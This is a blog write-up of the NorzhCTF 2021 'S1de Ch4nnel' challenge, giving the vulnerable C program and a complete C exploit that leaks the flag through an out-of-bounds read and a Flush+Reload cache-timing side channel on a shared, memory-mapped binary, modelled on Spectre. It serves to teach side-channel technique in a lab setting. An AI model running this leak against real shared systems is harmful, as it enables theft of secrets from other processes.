Posts CTF Writeup - NorzhCTF - S1de Ch4nnel
Post
Cancel

CTF Writeup - NorzhCTF - S1de Ch4nnel

Introduction


S1de Ch4nnel was a challenge at NorzhCTF 2021.

You can download the challenge here and my commented solution there.

Challenge presentation


When we ssh into the machine we are given a binary chall and the corresponding code main.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <x86intrin.h>

#define PAGE_SIZE 512

#define FLAG_SIZE 28

#define DEBUG 0

const char the_array[] = { [0 ... 256 * PAGE_SIZE] = 1 };

const size_t baby_array_size = 16;

static char secret_value[64];

static char baby_array[] = {
    1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16
};

int victim_function (size_t x)
{
    int y = 0;
    if (x < 100) {
        y = the_array[baby_array[x] * PAGE_SIZE];
    }
    return y;
}

int main (void)
{
    for (size_t i = 0; i < baby_array_size; i++) {
        baby_array[i] = i;
    }

    FILE *fp = fopen("./flag.txt", "r");
    if (fp == NULL)
    {
        perror("Error while opening the file.\n");
        exit(EXIT_FAILURE);
    }
    fgets(secret_value, FLAG_SIZE, fp);


    if(DEBUG){
        printf("Flag : %s\n", secret_value);
        printf("Baby_array to secret_value offset is %d\n", (size_t) (secret_value - baby_array));
    }

    char buffer[64];
    size_t x;
    int i;
    int nb_read;

    /* Make the access to the secret value faster*/
    __asm__ volatile("lea %0, %%rax\n"
                     "movb (%%rax), %%al\n" ::"m"(secret_value)
                     :);

    while (1)
    {
        memset (buffer, '\0', 64);
        printf ("Please give me an int : \n");

        i = 0;
        while (i < 4) {
            nb_read = read (STDIN_FILENO, &buffer[i], 1);
            if (nb_read == -1) {
                exit(1);
            }
            if (nb_read == 0) {
                return 0;
            }
            if (buffer[i] == '\n') {
                break;
            }
            i++;
        }
        x = (size_t) strtoul (buffer, NULL, 10);
        x = victim_function (x);
    }
    return 0;
}

The program starts by initializing a few global arrays:

  • secret_value, in which the flag is later copied
  • baby_array, a small array of 16 chars
  • the_array, a 256 pages long array initialized with all ones

The program then enters a loop where it prompts us for an int and calls the victim_function with the provided value x as the argument.

This function simply accesses the_array[baby_array[x] * PAGE_SIZE] and then returns. There is an obvious out of bounds access as baby_array is only of length 16 while x is allowed to be up to 100.

To see how we might exploit this, let’s check what lies after baby_array in memory:

Sure enough, the flag is close by. Specifically, it starts 48 bytes after the beginning of baby_array.

Exploitation strategy


If you want more details I recommend reading the original Spectre article as this is pretty much a simplified version of the attack (without relying on speculative execution).

We start by flushing all the pages of the_array out of the cache then ask the program to access the_array[baby_array[48] * PAGE_SIZE]. Remember that baby_array[48] is the first byte of the flag. Let’s say it’s an ‘N’ which is ascii 78, this means that the page 78 of the_array will be placed in cache.

We then measure the access times to the_array[i * PAGE_SIZE] for i between 0 and 255. Accessing the_array[78 * PAGE_SIZE] should be faster than the others since it is a cache hit.

Doing so we can deduce the value of baby_array[48] which is the first byte of the flag. Repeating this FLAG_SIZE times we leak the whole flag.

Cross process Spectre attack


But how do we access and time the_array[i * PAGE_SIZE] for arbitrary values of i?

Remember that the_array is an initialized const variable so it is placed in the .rodata section of the binary. If we mmap the chall binary file in the attacker process’ address space and execute chall at the same time, this memory will be shared. This means that it is backed by the same physical RAM and subject to the same cache hits / misses in both processes. This allows us to do the measurements from the attacker process.

Exploit code


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <x86intrin.h>

#define PAGE_SIZE 512
#define FLAG_SIZE 28

// Might need to change this depending on your 'chall' binary
#define CHALL_FILE_SIZE 0x24ec8
// objdump -d ./chall -j .rodata | grep "the_array"
#define OFFSET_TO_THE_ARRAY 0x2020

const char *the_array;

static void *map_file(const char *file) {
    int fd = open(file, O_RDONLY, 0666);
        if (fd < 0){
        printf("Failed to open file");
        return NULL;
    }
    char *mem = mmap(NULL, CHALL_FILE_SIZE, PROT_READ, MAP_SHARED, fd, 0);
    if (mem == MAP_FAILED) { perror("mmap"); exit(-1); }
    return mem;
}

void access_value(char x) {
    /* Wrapper to prevent optimizations */
    (void)x;
}

/* Measure the access time to the_array[i * PAGE_SIZE]
 * for i in [0, 255] and return the value of i corresponding
 * to the shortest access time
 */
char get_min_access_time() {
    char best_candidate = 0;
    int min_time = 99999;
    for(int j = 0; j <= 255; j++) {
        // Access in 'random' order to prevent stride optimization
        // which can  distort the timing results
        int i = ((j * 167) + 13) & 0xff;
        //int i = j;

                int before, after;

        before = __rdtsc();
        access_value(the_array[i * PAGE_SIZE]);
        _mm_lfence(); // Makes sure 'after' is measured when 'access_value' is done
        after = __rdtsc();

        uint32_t diff = (uint32_t)(after-before);

        // For some reason the leak is less accurate without the following line
        fprintf(stderr, "Access time : %c : %d\n", i, diff);

        if(diff < min_time){
            min_time = diff;
            best_candidate = i;
        }
    }
    return best_candidate;
}

/* Leak the char at baby_array[index].
 * We do it 10 times and return the char with highest score
 */
char leak_char(int index){

    uint8_t scores[256] = {0};

    for(int i = 0; i < 10; i++){
        // Flush the cache
        for(int j = 0; j < 256; j++) {
            _mm_clflush((void*)(the_array + j * PAGE_SIZE));
        }

        // Make the victim access the_array[baby_array[index] * PAGE_SIZE]
        char buf[4];
        sprintf(buf, "%2d\n", index);
        write (STDOUT_FILENO, buf, 3);
        scores[get_min_access_time()]++;
    }

    // Find the char with max score
    char leaked_char = 0;
    uint8_t highest_score = 0;
    for(int i = 0; i < 256; i++){
        if(scores[i] > highest_score){
            highest_score = scores[i];
            leaked_char = i;
        }
    }

    return leaked_char;
}

int main(int argc, char *const argv[]) {

    char leaked_flag [FLAG_SIZE + 1] = {0};

    the_array = (const char *) (map_file("./chall") + OFFSET_TO_THE_ARRAY);

    for(int i = 0; i < FLAG_SIZE; i++){
        leaked_flag [i] = leak_char(i + 48);
    }

    fprintf(stderr, "\nLeaked flag : %s\n",leaked_flag);
    return 0;
}

Here is the final result:

References


https://beta.hackndo.com/construction-poc-spectre/

https://spectreattack.com/spectre.pdf

This post is licensed under CC BY 4.0 by the author.